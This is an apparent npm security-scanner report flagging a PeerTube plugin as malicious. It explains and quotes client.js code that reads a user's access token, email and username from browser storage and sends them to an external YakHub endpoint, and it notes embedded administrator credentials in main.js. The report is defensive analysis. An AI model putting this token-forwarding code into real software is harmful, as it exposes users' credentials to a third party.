Loading npm security reports…

peertube-plugin-yaktube-ondemand@1.5.1: Malicious npm security | LPM Firewall

registry / peertube-plugin-yaktube-ondemand / 1.5.1

peertube-plugin-yaktube-ondemand@1.5.1

Accessible On-Demand YouTube Import, Live Streams, Smart Recommendations, Sleep Timer, Touch Gestures, Voice Assistant & A11y Engine for PeerTube

AI Security Review

scanned 11d ago · by lpm-firewall-ai

The browser client forwards a local PeerTube access token, email, and username to a fixed external YakHub endpoint. This occurs by default for logged-in users when cloud history sync runs.

Static reason

One or more suspicious static signals were detected.

Trigger

A logged-in user opens the full search interface or saves a recent search.

Impact

An external service can receive credentials intended for the local PeerTube instance and associated account identifiers.

Mechanism

The client creates authorization and identity headers from local storage and passes them to a fetch request for the external endpoint.

Attack narrative

The client takes the active PeerTube token from browser storage and sends it, with email and username, to a package-controlled external history service. The feature is active for logged-in users by default unless they previously set a disabling preference, and opening search invokes synchronization. Separately, the server component embeds administrator credentials to obtain a local API token. These behaviors create unauthorized credential exposure and privileged local API access.

AI rationale

The package exports a local service credential to a fixed unrelated external recipient by default, which is concrete credential exfiltration. Embedded administrator credentials add a separate privileged-access concern.

Evidence

client.jsmain.js

Network endpoints2

auth.yakhub.com.tr/api/yaktube/search-history127.0.0.1:9000

Decision evidence

Source & flagged code

6 flagged · loading source

main.jsView file

1const { execFile } = require('child_process'); L2: const path = require('path');

High

Child Process

Package source references child process execution.

main.jsView on unpkg · L1

1const { execFile } = require('child_process'); L2: const path = require('path'); L3: const http = require('http'); L4: const fs = require('fs'); ... L15: // 1. Environment variable override L16: if (process.env.YTDLP_PATH && fs.existsSync(process.env.YTDLP_PATH)) { L17: cachedYtDlpPath = process.env.YTDLP_PATH;

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

main.jsView on unpkg · L1

137patternName = generic_password severity = medium line = 137

Medium

Secret Pattern

Package contains a possible secret pattern.

main.jsView on unpkg · L137

package.jsonView file

5"main": "main.js", "library": "./main.js", "staticDirs": {}, "translations": {}, "clientScripts": [ { "script": "client.js", "scopes": [

High

Ai Review Evidence

The package loads main.js and client.js as PeerTube entrypoints.

package.jsonView on unpkg · L5

client.jsView file

2992var headers = {}; if (body) headers['Content-Type'] = 'application/json'; if (token) headers['Authorization'] = 'Bearer ' + token; if (email) headers['X-User-Email'] = email; if (username) headers['X-User-Username'] = username; var authUrl = 'https://auth.yakhub.com.tr/api/yaktube/search-history' + (queryParams || ''); var bridgeUrl = '/api-custom/search-history' + (queryParams || ''); var options = { method:

High

Ai Review Evidence

That header is sent to a fixed external YakHub search-history endpoint.

client.jsView on unpkg · L2992

2988function callCloudSearchHistory(method, queryParams, body, onSuccess, onError) { var token = localStorage.getItem('access_token'); var email = localStorage.getItem('email'); var username = localStorage.getItem('username'); var headers = {}; if (body) headers['Content-Type'] = 'application/json'; if (token) headers['Authorization'] = 'Bearer ' + token; if (email) headers['X-User-Ema

Medium

Stripped Provenance Metadata

The client reads a locally stored access token and adds it to an authorization header.

client.jsView on unpkg · L2988